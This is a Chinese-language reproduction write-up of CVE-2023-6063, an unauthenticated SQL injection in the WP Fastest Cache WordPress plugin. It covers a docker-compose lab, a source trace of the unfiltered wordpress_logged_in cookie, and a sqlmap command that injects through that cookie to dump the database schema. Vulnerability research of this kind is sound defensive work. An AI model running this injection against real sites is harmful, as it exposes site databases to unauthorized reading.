漏洞介绍

WP Fastest Cache是一个WordPress缓存插件,用于加速页面加载、改善访问者体验并提高网站在 Google 搜索上的排名。根据 WordPress.org统计,使用WP Fastest Cache的网站已超过一百万个。WP Fastest Cache < 1.2.2版本存在SQL 注入漏洞(CVE-2023-6063),该漏洞可导致未经身份验证的攻击者读取站点数据库中的内容。

漏洞范围

WP Fastest Cache 插件 < 1.2.2

漏洞靶场

本次复现使用WP Fastest Cache 1.2.1版本

插件下载https://downloads.wordpress.org/plugin/wp-fastest-cache.1.2.1.zip

使用CVE-2024-4439的docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version: '3.8'

services:
db:
image: mysql:5.7
container_name: wordpress_db
environment:
MYSQL_ROOT_PASSWORD: root_password
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress_user
MYSQL_PASSWORD: wordpress_password
volumes:
- db_data:/var/lib/mysql
networks:
- wordpress_network

wordpress:
image: wordpress:6.4.3
container_name: wordpress_app
depends_on:
- db
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_NAME: wordpress
WORDPRESS_DB_USER: wordpress_user
WORDPRESS_DB_PASSWORD: wordpress_password
WORDPRESS_DEBUG: "true"
volumes:
- wordpress_data:/var/www/html
- ./plugins:/var/www/html/wp-content/plugins
networks:
- wordpress_network

volumes:
db_data:
wordpress_data:

networks:
wordpress_network:

把插件解压到plugins里面,该目录会挂载到容器内的插件目录

http://127.0.0.1:8080/wp-admin/plugins.php内,把该插件启用一下

image-20241125171339400

image-20241125172041298

可能会遇到弹出提示,需要设置固定链接

image-20241125171456827

需要在设置-固定链接里面设置

image-20241125171736818

然后插件就可以正常启用了

漏洞原理

简单说就是在加载插件时,取wordpress_logged_in 第一个 | 前的字符,然后插入到 SQL 语句中。
而这样也是可以匹配的,即payload

img

img

wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93内容如下:
wordpress|1702575454|gquEYSZ8lNbJktLUWLpElq4XybIhpPmOL3MmTMcqi4X|91c52c9d088ad036d8ccdc6ef645adfd906829527d27ea494140369cdbfbb1b9
这一部分的功能就是取出wordpress

img

wp-fastest-cache/inc/cache.php#L475-L483

然后没有过滤就进入了SQL语句中

img

wp-fastest-cache/inc/cache.php#L475-L499

is_user_admin() 被 createCache() 调用

img

wp-fastest-cache/inc/cache.php#L255-L277

追踪 createCache(),被cache()调用

img

img

wpFastestCache.php#L1097-L1103

看cache()在何处被调用,发现被构造函数调用,即在 WpFastestCache 对象被创建时调用

img

wpFastestCache.php#L353

img

wpFastestCache.php#L84

这两处创建了对象,看谁包含了wpFastestCache.php,继续跟,跟到plugin.php,大概就是插件加载时调用的

img

wpFastestCache.php#L2537

img

uninstall.php#L16

img

wordpress/wp-admin/includes/plugin.php#L1197-L1244

漏洞复现

使用sqlmap

1
$ python sqlmap.py --dbms=mysql -u "http://your-ip/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 --schema

image-20241125172352081

image-20241125172411129

成功

参考

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入 - 先知社区 (aliyun.com)

thesafdari/CVE-2023-6063: CVE-2023-6063 (WP Fastest Cache < 1.2.2 - UnAuth SQL Injection) (github.com)

漏洞分析 | Wordpress Fastest Cache插件SQL注入漏洞(CVE-2023-6063) - FreeBuf网络安全行业门户